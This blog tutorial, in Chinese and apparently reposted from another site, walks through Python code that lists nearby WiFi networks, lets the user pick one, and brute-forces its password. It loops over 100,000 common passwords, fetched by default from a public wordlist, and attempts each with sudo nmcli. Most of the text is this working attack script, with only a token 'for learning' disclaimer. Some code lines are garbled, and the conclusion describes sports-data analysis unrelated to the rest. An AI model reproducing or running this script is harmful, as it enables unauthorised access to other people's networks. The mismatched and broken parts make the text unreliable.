WiFi現在已經遍布我們生活方方面面，如今，如論到作業單位，還是租住的房子，或者一家餐廳，隨處都可以連上WiFi，
因此，我們對WiFi密碼的需求也沒有之前那么迫切了，
如何破解WiFi密碼？
本文，將會通過Python教大家如何實作，這里純粹是為了學習用途，
-
WiFi串列 首先，我們需要獲取附近的WiFi串列， 下面，就來寫一個函式來獲取附近的WiFi串列，函式命名為display_targets： def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i]) 這里，我們會用到ssid工具包，用來獲取附近的WiFi串列，存入到引數networks，
?
-
選擇WiFi 獲取WiFi串列之后，下一步要做的就是選擇我們想要連接的WiFi， def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e? print("Invalid choice: Please pick a number between 1 and " + str(max)) 這里很簡單，就是一些通用的Python功能，
-
暴力破解
目前已經獲取并且選擇了想要連接的WiFi，那么如何獲取到它的密碼呢？
這里要用到一種比較常見的方式：暴力破解，
這里，要用到Github上一個專案，它收集了最常用的10萬個WiFi密碼，我們就用著10萬個密碼暴力解鎖WiFi即可，
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()?
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)?
if (len(decoded_line) >= 8):
time.sleep(3)?
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)?
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)?
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
核心功能3個函式就完成了，只用了60行Python代碼！
下面就把它們串聯在一起：
def main():
require_root()
args = argument_parser()?
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)?
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)?
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")?
brute_force(target, passwords, args)
執行函式，就會在命令列下顯示附近的WiFi串列，選擇之后就開始逐個嘗試密碼，
?
不同的顏色代表不同不同的結果：
現在，是不是發現這個看上去很復雜的事情變得簡單許多？
結語
運動中充滿了各種不同維度的資料，上述只是列舉出一些我個人比較感興趣的維度進行了分析與可視化，
希望，能夠對你有所啟示，能夠發掘更有價值、有趣的資訊，在學習和樂趣中得到最佳的實踐，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/505955.html
標籤：其他
上一篇：K8S安裝metrics-server資料采集組件
下一篇：程式員副業之如何借國慶流量，用換頭像小程式日賺500？
